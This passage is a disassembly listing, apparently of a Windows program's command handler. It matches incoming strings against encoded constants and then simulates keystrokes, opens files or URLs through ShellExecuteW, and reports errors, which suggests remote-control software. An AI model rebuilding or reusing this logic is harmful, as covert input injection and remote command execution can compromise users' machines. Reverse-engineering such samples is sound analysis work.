mov ecx, edi
call fcn.0045c730
lea ecx, [ebp - 0xe4]
call fcn.0042c3d0
mov ecx, dword [ebp - 0xa0]
cmp ecx, 0x10
jb 0x523711
mov edx, dword [ebp - 0xb4]
inc ecx
jmp 0x5216ec
mov edx, 0x5b7700
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x522015
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521fe0
sub ecx, dword [ebp - 0x2c]
je 0x522015
mov eax, dword [edx + 0x10]
test eax, eax
je 0x522015
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x522000
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005582f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x52201c
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x522050
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x522046
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5237ec
push ecx
push edx
call fcn.00546e91
add esp, 8
cmp dword [ebp - 0x20], 0
je 0x5220e4
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 0x4c
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522090
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00523c20
mov esi, dword [ebp - 0x34]
lea edx, [ebp - 0xb4]
add esp, 8
mov ecx, esi
cmp dword [ebp - 0xa0], 0x10
cmovae edx, dword [ebp - 0xb4]
call fcn.005239b0
test al, al
je 0x520da5
mov byte [esi + 0x9c], 1
jmp 0x520da5
mov edx, 0x5b7718
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x522135
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522100
sub ecx, dword [ebp - 0x2c]
je 0x522135
mov eax, dword [edx + 0x10]
test eax, eax
je 0x522135
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x522120
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005582f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x52213c
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x522170
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x522166
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5237a6
push ecx
push edx
call fcn.00546e91
add esp, 8
cmp dword [ebp - 0x20], 0
je 0x52237a
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 0x4d
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5221b0
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00523c20
mov ecx, dword [ebp - 0x34]
lea edx, [ebp - 0xb4]
add esp, 8
cmp dword [ebp - 0xa0], 0x10
cmovae edx, dword [ebp - 0xb4]
call fcn.005239b0
test al, al
je 0x520da5
mov byte [ebp - 4], 0x4e
call fcn.0042c860
mov ecx, eax
test ecx, ecx
je 0x523850
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0xe4]
push 0x30
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0
push str.eSBfbm4gHjgeeSBfamd0Y111Z2xibXUgHjgeICN1cSB7ew
movups xmmword [ebp - 0xe4], xmm0
mov dword [ebp - 0xd0], 0
call fcn.0042b390
lea ecx, [ebp - 0x298]
mov byte [ebp - 4], 0x50
call fcn.00432480
mov byte [ebp - 4], 0x51
lea ecx, [ebp - 0xb4]
cmp dword [ebp - 0xa0], 0x10
mov eax, dword [ebp - 0xa4]
cmovae ecx, dword [ebp - 0xb4]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0x298]
call fcn.00433660
lea ecx, [ebp - 0x298]
call fcn.00432400
mov byte [ebp - 4], 0x52
lea esi, [ebp - 0x60]
cmp dword [ebp - 0x4c], 8
lea eax, [ebp - 0xe4]
cmovae esi, dword [ebp - 0x60]
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042c2f0
lea ecx, [ebp - 0x2c]
call fcn.00442a50
push esi
mov byte [ebp - 4], 0x53
push dword [eax]
lea eax, [ebp - 0x20]
push eax
call fcn.0041f420
mov edx, dword [ebp - 0x2c]
or edi, 0xffffffff
add esp, 0x24
add edx, 0xfffffff0
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x5222ed
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0x50
call fcn.0042c3d0
push ecx
mov esi, esp
mov dword [ebp - 0x6c], esi
mov eax, dword [ebp - 0x20]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x2c], eax
call fcn.0042c200
mov ecx, dword [ebp - 0x34]
add eax, 0x10
mov dword [esi], eax
call fcn.0051f100
mov ecx, dword [ebp - 0xd0]
cmp ecx, 8
jb 0x52235c
mov edx, dword [ebp - 0xe4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x522352
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5237a6
push ecx
push edx
call fcn.00546e91
add esp, 8
mov edx, dword [ebp - 0x2c]
lock xadd dword [edx + 0xc], edi
dec edi
test edi, edi
jg 0x520da5
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x520da5
mov edx, 0x5b7760
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x5223ca
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522395
sub ecx, dword [ebp - 0x2c]
je 0x5223ca
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5223ca
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x5223b5
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005582f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x5223d1
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x522405
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5223fb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5237a6
push ecx
push edx
call fcn.00546e91
add esp, 8
cmp dword [ebp - 0x20], 0
je 0x522544
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x54
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522440
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00523c20
add esp, 8
mov byte [ebp - 4], 0x55
call fcn.0042c860
mov ecx, eax
test ecx, ecx
je 0x5237b0
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 0x57
call fcn.0042c860
mov ecx, eax
test ecx, ecx
je 0x5237b0
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x38]
mov byte [ebp - 4], 0x58
push eax
lea edx, [ebp - 0x3c]
lea ecx, [ebp - 0x9c]
call fcn.00448c50
add esp, 4
lea eax, [ebp - 0x3c]
push eax
call fcn.005238d0
mov ecx, dword [eax]
test ecx, ecx
je 0x5224f4
mov eax, dword [ebp - 0x34]
push ecx
push ecx
mov edi, esp
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x6c], edi
mov esi, dword [ebp - 0x38]
mov dword [ebp - 0x2c], eax
lea ecx, [esi - 0x10]
call fcn.0042c200
mov ecx, dword [ebp - 0x2c]
add eax, 0x10
mov dword [edi], eax
call fcn.0045c730
jmp 0x5224f7
mov esi, dword [ebp - 0x38]
lea edx, [esi - 0x10]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x522511
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x3c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x522529
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x523711
mov edx, dword [ebp - 0x9c]
inc ecx
jmp 0x520dbb
mov edx, 0x5b7910
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x522595
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522560
sub ecx, dword [ebp - 0x2c]
je 0x522595
mov eax, dword [edx + 0x10]
test eax, eax
je 0x522595
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x522580
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005582f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x52259c
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x5225d0
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5225c6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5237a6
push ecx
push edx
call fcn.00546e91
add esp, 8
cmp dword [ebp - 0x20], 0
je 0x5227a1
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x59
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522610
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00523c20
add esp, 8
call fcn.0042c860
mov ecx, eax
test ecx, ecx
je 0x5237b0
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
push 0x58b2f0
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x5a
call fcn.0042cad0
test al, al
jne 0x522672
push 0
push 0x58b2f0
lea ecx, [ebp - 0x3c]
call fcn.0042cdf0
mov byte [ebp - 4], 0x5b
call fcn.0042c860
mov ecx, eax
test ecx, ecx
je 0x5237b0
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x40], eax
push 0x58b2f0
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0x5c
call fcn.0042cad0
test al, al
jne 0x5226b6
push 0
push 0x58b2f0
lea ecx, [ebp - 0x40]
call fcn.0042cdf0
mov byte [ebp - 4], 0x5d
call fcn.0042c860
mov ecx, eax
test ecx, ecx
je 0x5237b0
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x34], eax
push 0x58b2f0
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x5e
call fcn.0042cad0
test al, al
jne 0x5226fa
push 0
push 0x58b2f0
lea ecx, [ebp - 0x34]
call fcn.0042cdf0
lea eax, [ebp - 0x20]
mov byte [ebp - 4], 0x5f
push eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0x20], 0
push eax
lea eax, [ebp - 0x34]
push eax
lea edx, [ebp - 0x3c]
lea ecx, [ebp - 0x9c]
call fcn.00449070
add esp, 0xc
lea eax, [ebp - 0x3c]
lea edx, [ebp - 0x34]
lea ecx, [ebp - 0x40]
push dword [ebp - 0x20]
push eax
call fcn.0044ab60
mov edx, dword [ebp - 0x34]
or esi, 0xffffffff
add esp, 8
add edx, 0xfffffff0
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x522754
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x40]
mov eax, esi
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52276e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x3c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x522786
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x523711
mov edx, dword [ebp - 0x9c]
inc ecx
jmp 0x520dbb
mov edx, 0x5b77d8
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x5227f5
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5227c0
sub ecx, dword [ebp - 0x2c]
je 0x5227f5
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5227f5
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x5227e0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005582f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x5227fc
mov dword [ebp - 0x20], 0
lea ecx, [ebp - 0x60]
call fcn.0042b220
cmp dword [ebp - 0x20], 0
je 0x522981
lea eax, [esi + edi]
push eax
lea ecx, [ebp - 0x3c]
call fcn.0042bd10
lea eax, [ebp - 0x3c]
mov dword [ebp - 4], 0x60
push eax
call fcn.005238d0
lea ecx, [ebp - 0x38]
mov edi, dword [eax]
mov dword [ebp - 0x48], edi
call fcn.0041dc60
push str.eSBfbm4gHjgeeSBmZ2JjXXVnbGJtdSA4ICN1cSB7ew
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 0x61
call fcn.0042c620
sub esp, 0x18
mov byte [ebp - 4], 0x62
mov esi, dword [ebp - 0x3c]
lea eax, [ebp - 0x130]
mov ecx, esp
push eax
call fcn.0042c2f0
lea ecx, [ebp - 0x2c]
call fcn.00442a50
push esi
mov byte [ebp - 4], 0x63
push dword [eax]
lea eax, [ebp - 0x38]
push eax
call fcn.0041f420
add esp, 0x24
mov byte [ebp - 4], 0x62
lea ecx, [ebp - 0x2c]
call fcn.0042bdf0
lea eax, [edi - 4]
cmp eax, 0x3c
ja case.0x52289d.5
movzx eax, byte [eax + 0x523884]
jmp dword [eax*4 + 0x523870]
mov esi, dword [ebp - 0x34]
lea ecx, [ebp - 0x60]
push str.eSBfbm4gOB55IGxtcmdkZ2FfcmdtbHEgOB55IG1kZGNwR3FNbmNsIDgeZF9qcWN7e3s
mov eax, dword [esi + 0xc]
mov dword [eax + 0x118], 0
call fcn.0042c620
push 4
push ecx
mov byte [ebp - 4], 0x64
lea eax, [ebp - 0x60]
mov edi, dword [esi + 0x10]
mov esi, esp
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0042c2f0
mov ecx, esi
call fcn.00442a50
add esp, 0x18
mov ecx, edi
call fcn.0045c730
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0x62
call fcn.0042c3d0
jmp 0x522940
mov eax, dword [ebp - 0x34]
mov eax, dword [eax + 0xc]
mov byte [eax + 0x10b], 0
call fcn.00406790
jmp 0x522940
mov eax, dword [ebp - 0x34]
mov eax, dword [eax + 0xc]
mov dword [eax + 0x11c], 0
jmp 0x522940
mov esi, dword [sym.imp.USER32.dll_keybd_event]
push 0
push 0
push 0
push 0x5b
call esi
push 0
push 2
push 0
push 0x5b
call esi
jmp 0x522940
test edi, edi
je 0x522966
mov eax, dword [ebp - 0x34]
push dword [ebp - 0x48]
push ecx
mov edi, dword [eax + 0x10]
mov esi, esp
mov dword [ebp - 0x6c], esi
mov ecx, dword [ebp - 0x38]
lea ecx, [ecx - 0x10]
call fcn.0042c200
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.0045c730
lea ecx, [ebp - 0x130]
call fcn.0042c3d0
lea ecx, [ebp - 0x38]
call fcn.0042bdf0
lea ecx, [ebp - 0x3c]
jmp 0x52370c
mov edx, 0x5b78e0
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x5229d5
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5229a0
sub ecx, dword [ebp - 0x2c]
je 0x5229d5
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5229d5
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x5229c0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005582f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x5229dc
mov dword [ebp - 0x20], 0
lea ecx, [ebp - 0x60]
call fcn.0042b220
cmp dword [ebp - 0x20], 0
je 0x522f4d
xorps xmm0, xmm0
mov dword [ebp - 0xbc], 0
movups xmmword [ebp - 0xcc], xmm0
mov dword [ebp - 0xb8], 0xf
mov byte [ebp - 0xcc], 0
mov ecx, edi
mov dword [ebp - 4], 0x65
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522a20
sub ecx, edx
lea eax, [ebp - 0xcc]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00523c20
add esp, 8
lea ecx, [ebp - 0x60]
mov edx, 0x5b7a00
call fcn.00442920
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x522a5a
mov eax, dword [eax]
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0xcc]
push edx
cmovae ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xbc]
push eax
call fcn.00452a20
add esp, 8
mov byte [ebp - 0x2d], al
lea ecx, [ebp - 0x60]
call fcn.0042b220
cmp byte [ebp - 0x2d], 0
je 0x522b52
push 0xa8
lea eax, [ebp - 0x248]
push 0
push eax
call fcn.00548d40
add esp, 0xc
mov dword [ebp - 0x248], 1
mov eax, 0x5b
mov dword [ebp - 0x22c], 1
mov word [ebp - 0x244], ax
mov ecx, 0x10
mov word [ebp - 0x1f0], ax
mov edx, 0x53
push 0x1c
lea eax, [ebp - 0x248]
mov word [ebp - 0x228], cx
push eax
push 6
mov dword [ebp - 0x210], 1
mov word [ebp - 0x20c], dx
mov dword [ebp - 0x1f4], 1
mov dword [ebp - 0x1ec], 2
mov dword [ebp - 0x1d8], 1
mov word [ebp - 0x1d4], cx
mov dword [ebp - 0x1d0], 2
mov dword [ebp - 0x1bc], 1
mov word [ebp - 0x1b8], dx
mov dword [ebp - 0x1b4], 2
call dword [sym.imp.USER32.dll_SendInput]
jmp 0x522f29
mov edx, 0x5b7a18
lea ecx, [ebp - 0x60]
call fcn.00442920
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x522b6a
mov eax, dword [eax]
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0xcc]
push edx
cmovae ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xbc]
push eax
call fcn.00452a20
add esp, 8
mov byte [ebp - 0x2d], al
lea ecx, [ebp - 0x60]
call fcn.0042b220
cmp byte [ebp - 0x2d], 0
je 0x522bb5
push 0
push 0
push 0x44aaa0
call fcn.0055304a
add esp, 0xc
jmp 0x522f29
mov edx, 0x5b7a30
lea ecx, [ebp - 0x60]
call fcn.00442920
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x522bcd
mov eax, dword [eax]
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0xcc]
push edx
cmovae ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xbc]
push eax
call fcn.00452a20
add esp, 8
mov byte [ebp - 0x2d], al
lea ecx, [ebp - 0x60]
call fcn.0042b220
cmp byte [ebp - 0x2d], 0
lea ecx, [ebp - 0x60]
je 0x522d43
mov edx, 0x5b79d0
call fcn.00442920
mov byte [ebp - 4], 0x66
cmp dword [eax + 0x14], 0x10
jb 0x522c1f
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x34]
call fcn.0042bd10
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0x68
call fcn.0042b220
push 0xa
push 0
push 0
push dword [ebp - 0x34]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
ja 0x522f21
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.bnBtYnNhcg
lea ecx, [ebp - 0x40]
mov esi, eax
call fcn.0042cf00
push str.cF1gZ2xdbW5jbF1jcHBtcA
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x69
call fcn.0042cf00
push str.JGNBbWJjOyNqcw
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0x6a
call fcn.0042cf00
lea ecx, [ebp - 0x38]
call fcn.0041dc60
push esi
push ecx
mov byte [ebp - 4], 0x6c
mov esi, esp
mov dword [ebp - 0x6c], esi
mov ecx, dword [ebp - 0x1c]
lea ecx, [ecx - 0x10]
call fcn.0042c200
add eax, 0x10
lea ecx, [ebp - 0x2c]
mov dword [esi], eax
call fcn.00442cb0
add esp, 4
mov byte [ebp - 4], 0x6d
push dword [eax]
lea eax, [ebp - 0x38]
push eax
call fcn.0041f420
add esp, 0xc
mov byte [ebp - 4], 0x6c
lea ecx, [ebp - 0x2c]
call fcn.0042bdf0
push 0x58b2f0
lea ecx, [ebp - 0x44]
call fcn.0042cf00
push 0x58b2f0
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x6e
call fcn.0042cf00
push ecx
mov byte [ebp - 4], 0x6f
mov esi, esp
mov dword [ebp - 0x6c], esi
mov ecx, dword [ebp - 0x3c]
lea ecx, [ecx - 0x10]
call fcn.0042c200
add eax, 0x10
lea ecx, [ebp - 0x48]
mov dword [esi], eax
call fcn.00442cb0
mov edi, eax
mov byte [ebp - 4], 0x70
mov dword [ebp - 0x6c], esi
mov ecx, dword [ebp - 0x40]
add ecx, 0xfffffff0
call fcn.0042c200
add eax, 0x10
lea ecx, [ebp - 0x2c]
mov dword [esi], eax
call fcn.00442cb0
add esp, 4
mov byte [ebp - 4], 0x71
jmp 0x522ec9
mov edx, str.YV9qYQ
call fcn.00442920
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x522d58
mov eax, dword [eax]
cmp dword [ebp - 0xb8], 0x10
lea ecx, [ebp - 0xcc]
push edx
cmovae ecx, dword [ebp - 0xcc]
mov edx, dword [ebp - 0xbc]
push eax
call fcn.00452a20
add esp, 8
mov byte [ebp - 0x2d], al
lea ecx, [ebp - 0x60]
call fcn.0042b220
cmp byte [ebp - 0x2d], 0
je 0x522f29
mov edx, str.YV9qYQ
lea ecx, [ebp - 0x60]
call fcn.00442920
mov byte [ebp - 4], 0x72
cmp dword [eax + 0x14], 0x10
jb 0x522daa
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x34]
call fcn.0042bd10
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0x74
call fcn.0042b220
push 0xa
push 0
push 0
push dword [ebp - 0x34]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
ja 0x522f21
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.bnBtYnNhcg
lea ecx, [ebp - 0x40]
mov esi, eax
call fcn.0042cf00
push str.YV9qYV1jcHBtcA
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x75
call fcn.0042cf00
push str.JGNBbWJjOyNqcw
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 0x76
call fcn.0042cf00
lea ecx, [ebp - 0x38]
call fcn.0041dc60
push esi
push ecx
mov byte [ebp - 4], 0x78
mov esi, esp
mov dword [ebp - 0x6c], esi
mov ecx, dword [ebp - 0x1c]
lea ecx, [ecx - 0x10]
call fcn.0042c200
add eax, 0x10
lea ecx, [ebp - 0x2c]
mov dword [esi], eax
call fcn.00442cb0
add esp, 4
mov byte [ebp - 4], 0x79
push dword [eax]
lea eax, [ebp - 0x38]
push eax
call fcn.0041f420
add esp, 0xc
mov byte [ebp - 4], 0x78
lea ecx, [ebp - 0x2c]
call fcn.0042bdf0
push 0x58b2f0
lea ecx, [ebp - 0x44]
call fcn.0042cf00
push 0x58b2f0
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x7a
call fcn.0042cf00
push ecx
mov byte [ebp - 4], 0x7b
mov esi, esp
mov dword [ebp - 0x6c], esi
mov ecx, dword [ebp - 0x3c]
lea ecx, [ecx - 0x10]
call fcn.0042c200
add eax, 0x10
lea ecx, [ebp - 0x48]
mov dword [esi], eax
call fcn.00442cb0
mov edi, eax
mov byte [ebp - 4], 0x7c
mov dword [ebp - 0x6c], esi
mov ecx, dword [ebp - 0x40]
add ecx, 0xfffffff0
call fcn.0042c200
add eax, 0x10
lea ecx, [ebp - 0x2c]
mov dword [esi], eax
call fcn.00442cb0
add esp, 4
mov byte [ebp - 4], 0x7d
lea ecx, [ebp - 0x44]
mov edx, edi
push ecx
lea ecx, [ebp - 0x20]
push ecx
lea ecx, [ebp - 0x38]
push ecx
mov ecx, eax
call fcn.004538a0
add esp, 0xc
lea ecx, [ebp - 0x2c]
call fcn.0042bdf0
lea ecx, [ebp - 0x48]
call fcn.0042bdf0
lea ecx, [ebp - 0x20]
call fcn.0042bdf0
lea ecx, [ebp - 0x44]
call fcn.0042bdf0
lea ecx, [ebp - 0x38]
call fcn.0042bdf0
lea ecx, [ebp - 0x1c]
call fcn.0042bdf0
lea ecx, [ebp - 0x3c]
call fcn.0042bdf0
lea ecx, [ebp - 0x40]
call fcn.0042bdf0
lea ecx, [ebp - 0x34]
call fcn.0042bdf0
mov eax, dword [ebp - 0xb8]
cmp eax, 0x10
jb 0x523711
inc eax
push eax
push dword [ebp - 0xcc]
call fcn.0042d030
add esp, 8
jmp 0x523711
mov edx, 0x5b7928
lea ecx, [ebp - 0x60]
call fcn.00442920
mov edx, eax
test edi, edi
je 0x522f9d
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522f68
sub ecx, dword [ebp - 0x2c]
je 0x522f9d
mov eax, dword [edx + 0x10]
test eax, eax
je 0x522f9d
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x522f88
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005582f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x522fa4
mov dword [ebp - 0x20], 0
lea ecx, [ebp - 0x60]
call fcn.0042b220
cmp dword [ebp - 0x20], 0
je 0x523060
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0
movups xmmword [ebp - 0xe4], xmm0
mov dword [ebp - 0xd0], 0xf
mov byte [ebp - 0xe4], 0
mov ecx, edi
mov dword [ebp - 4], 0x7e
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x522fe7
sub ecx, edx
lea eax, [ebp - 0xe4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00523c20
add esp, 8
call fcn.0054bf6d
lea ecx, [ebp - 0xe4]
mov edi, eax
call fcn.0042b070
mov esi, eax
mov dword [edi], 0
push 0xa
lea eax, [ebp - 0x2c]
push eax
push esi
call fcn.0054d8ce
add esp, 0xc
cmp esi, dword [ebp - 0x2c]
je 0x52385a
cmp dword [edi], 0x22
je 0x523864
push eax
mov eax, dword [ebp - 0x34]
